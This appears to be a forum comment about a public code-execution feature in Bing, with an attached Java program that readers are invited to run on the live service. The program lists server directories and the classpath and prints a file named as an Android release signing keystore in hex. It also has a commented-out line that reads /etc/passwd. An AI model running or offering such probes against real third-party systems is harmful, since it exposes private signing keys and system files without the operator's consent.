Executable code snippets in Bing
The sandboxing is interesting ... Each process is running in a directory on the same server.<p>Also there&#x27;s some files that are visible that probably shouldn&#x27;t be, including one named &quot;codechecker-android-release-key.keystore&quot;...<p>For the curious, try running the code block. You can uncomment&#x2F;commment things out to see different results as there&#x27;s a cap on the amount of stdout printed.<p><pre><code>    import java.net.URLClassLoader;
    import java.io.*;
    import java.net.*;
    
    class  Solution
    {
    	private static void printFile(String path) throws Exception {
    		System.out.println(&quot;File: &quot; + path);
    		InputStream in = new FileInputStream(path);
    		byte buf[] = new byte[1024];
    		int len;
    		while( (len = in.read(buf)) &gt; 0 ) {
    			System.out.write(buf, 0, len);
    		}
    		System.out.flush();
    	}
    	
    	final protected static char[] hexArray = &quot;0123456789ABCDEF&quot;.toCharArray();
    	private static String bytesToHex(byte[] bytes) {
    	    char[] hexChars = new char[bytes.length * 2];
    	    for ( int j = 0; j &lt; bytes.length; j++ ) {
    	        int v = bytes[j] &amp; 0xFF;
    	        hexChars[j * 2] = hexArray[v &gt;&gt;&gt; 4];
    	        hexChars[j * 2 + 1] = hexArray[v &amp; 0x0F];
    	    }
    	    return new String(hexChars);
    	}
    
        private static void printFileHex(String path) throws Exception {
    		System.out.println(&quot;File: &quot; + path);
    		InputStream in = new FileInputStream(path);
    		ByteArrayOutputStream out = new ByteArrayOutputStream();
    		byte buf[] = new byte[1024];
    		int len;
    		while( (len = in.read(buf)) &gt; 0 ) {
    			out.write(buf, 0, len);
    		}
    		byte bytes[] = out.toByteArray();
    		System.out.println(bytesToHex(bytes));
    		System.out.flush();
    	}	
    	
    	public static void main (String[] args) throws Exception
    	{
    		Class&lt;?&gt; clazz = Class.forName(&quot;java.lang.ClassLoader&quot;);
    		URLClassLoader cl = 
    		  (URLClassLoader) Thread.currentThread().getContextClassLoader();
    	    System.out.println(&quot;Classpath:&quot;);
    		for(java.net.URL url : cl.getURLs()) {
    			System.out.println(&quot;&quot; + url);
    		}
    		File local = new File(&quot;&quot;);
    		System.out.println(&quot;Local path: &quot; + local.getAbsolutePath());
    		
    		System.out.println(&quot;Files:&quot;); 
    		File root = new File(&quot;&#x2F;&quot;);  
    		String list[] = root.list();		
    		System.out.println(&quot;# root files: &quot; + list.length);
    		
    		&#x2F;&#x2F;printFile(&quot;&#x2F;etc&#x2F;passwd&quot;);
    		printFileHex(&quot;&#x2F;etc&#x2F;codechecker-android-release-key.keystore&quot;);
    		
    		System.out.println(&quot;# root files: &quot; + list.length);
    		for(String base : new String[]{ &quot;&#x2F;etc&quot;, &quot;&#x2F;bin&quot;, &quot;&#x2F;sbin&quot;, &quot;&#x2F;usr&quot;}) {
    		  for(String name : new File(base).list()) {
    		     System.out.println(base + &quot;&#x2F;&quot; + name);
    		  }
    		}
    	}
    }</code></pre>